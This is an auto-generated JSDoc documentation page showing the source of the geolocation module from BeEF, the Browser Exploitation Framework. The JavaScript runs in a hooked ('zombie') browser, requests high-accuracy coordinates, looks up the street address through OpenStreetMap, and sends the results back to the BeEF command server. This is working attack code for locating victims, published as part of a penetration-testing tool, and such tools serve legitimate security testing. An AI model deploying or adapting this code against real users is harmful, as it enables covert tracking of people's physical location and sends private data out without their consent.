160 lines
6.5 KiB
HTML
160 lines
6.5 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="utf-8">
|
|
<title>JSDoc: Source: geolocation.js</title>
|
|
|
|
<script src="scripts/prettify/prettify.js"> </script>
|
|
<script src="scripts/prettify/lang-css.js"> </script>
|
|
<!--[if lt IE 9]>
|
|
<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
|
|
<![endif]-->
|
|
<link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
|
|
<link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<div id="main">
|
|
|
|
<h1 class="page-title">Source: geolocation.js</h1>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<section>
|
|
<article>
|
|
<pre class="prettyprint source linenums"><code>//
|
|
// Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
/**
|
|
* Provides functionalities to use the geolocation API.
|
|
* @namespace beef.geolocation
|
|
*/
|
|
|
|
beef.geolocation = {
|
|
|
|
/**
|
|
* Check if browser supports the geolocation API
|
|
* @return {boolean}
|
|
*/
|
|
isGeolocationEnabled: function(){
|
|
return !!navigator.geolocation;
|
|
},
|
|
|
|
/**
|
|
* Given latitude/longitude retrieves exact street position of the zombie
|
|
* @param command_url
|
|
* @param command_id
|
|
* @param latitude
|
|
* @param longitude
|
|
*/
|
|
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
|
|
|
|
// fixes damned issues with jquery 1.5, like this one:
|
|
// http://bugs.jquery.com/ticket/8084
|
|
$j.ajaxSetup({
|
|
jsonp: null,
|
|
jsonpCallback: null
|
|
});
|
|
|
|
$j.ajax({
|
|
error: function(xhr, status, error){
|
|
beef.debug("[geolocation.js] openstreetmap error");
|
|
beef.net.send(command_url, command_id, "latitude=" + latitude
|
|
+ "&longitude=" + longitude
|
|
+ "&osm=UNAVAILABLE"
|
|
+ "&geoLocEnabled=True");
|
|
},
|
|
success: function(data, status, xhr){
|
|
beef.debug("[geolocation.js] openstreetmap success");
|
|
//var jsonResp = $j.parseJSON(data);
|
|
|
|
beef.net.send(command_url, command_id, "latitude=" + latitude
|
|
+ "&longitude=" + longitude
|
|
// + "&osm=" + encodeURI(jsonResp.display_name)
|
|
+ "&osm=" + data.display_name
|
|
+ "&geoLocEnabled=True");
|
|
},
|
|
type: "get",
|
|
dataType: "json",
|
|
url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
|
|
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
|
|
});
|
|
|
|
},
|
|
|
|
/**
|
|
* Retrieve latitude/longitude using the geolocation API
|
|
* @param command_url
|
|
* @param command_id
|
|
*/
|
|
getGeolocation: function (command_url, command_id){
|
|
|
|
if (!navigator.geolocation) {
|
|
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
|
|
return;
|
|
}
|
|
beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
|
|
navigator.geolocation.getCurrentPosition( //note: this is an async call
|
|
function(position){ // success
|
|
var latitude = position.coords.latitude;
|
|
var longitude = position.coords.longitude;
|
|
beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
|
|
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
|
|
|
|
}, function(error){ // failure
|
|
beef.debug("[geolocation.js] error [%d] getting position", error.code);
|
|
switch(error.code) // Returns 0-3
|
|
{
|
|
case 0:
|
|
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
|
return;
|
|
case 1:
|
|
beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
|
|
return;
|
|
case 2:
|
|
beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
|
|
return;
|
|
case 3:
|
|
beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
|
|
return;
|
|
}
|
|
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
|
},
|
|
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
|
|
);
|
|
}
|
|
}
|
|
|
|
|
|
beef.regCmp('beef.geolocation');
|
|
</code></pre>
|
|
</article>
|
|
</section>
|
|
|
|
|
|
|
|
|
|
</div>
|
|
|
|
<nav>
|
|
<h2><a href="index.html">Home</a></h2><h3>Namespaces</h3><ul><li><a href="BeefJS.html">BeefJS</a></li><li><a href="beef.are.html">are</a></li><li><a href="beef.browser.html">browser</a></li><li><a href="beef.browser.cookie.html">cookie</a></li><li><a href="beef.browser.popup.html">popup</a></li><li><a href="beef.dom.html">dom</a></li><li><a href="beef.encode.base64.html">base64</a></li><li><a href="beef.encode.json.html">json</a></li><li><a href="beef.geolocation.html">geolocation</a></li><li><a href="beef.hardware.html">hardware</a></li><li><a href="beef.init.html">init</a></li><li><a href="beef.logger.html">logger</a></li><li><a href="beef.mitb.html">mitb</a></li><li><a href="beef.net.html">net</a></li><li><a href="beef.net.connection.html">connection</a></li><li><a href="beef.net.cors.html">cors</a></li><li><a href="beef.net.dns.html">dns</a></li><li><a href="beef.net.local.html">local</a></li><li><a href="beef.net.portscanner.html">portscanner</a></li><li><a href="beef.net.requester.html">requester</a></li><li><a href="beef.net.xssrays.html">xssrays</a></li><li><a href="beef.os.html">os</a></li><li><a href="beef.session.html">session</a></li><li><a href="beef.timeout.html">timeout</a></li><li><a href="beef.updater.html">updater</a></li><li><a href="beef.webrtc.html">webrtc</a></li><li><a href="beef.websocket.html">websocket</a></li></ul><h3>Global</h3><ul><li><a href="global.html#platform">platform</a></li></ul>
|
|
</nav>
|
|
|
|
<br class="clear">
|
|
|
|
<footer>
|
|
Documentation generated by <a href="https://github.com/jsdoc/jsdoc">JSDoc 4.0.3</a> on Fri Oct 04 2024 17:02:30 GMT+1000 (Australian Eastern Standard Time)
|
|
</footer>
|
|
|
|
<script> prettyPrint(); </script>
|
|
<script src="scripts/linenumber.js"> </script>
|
|
</body>
|
|
</html>
|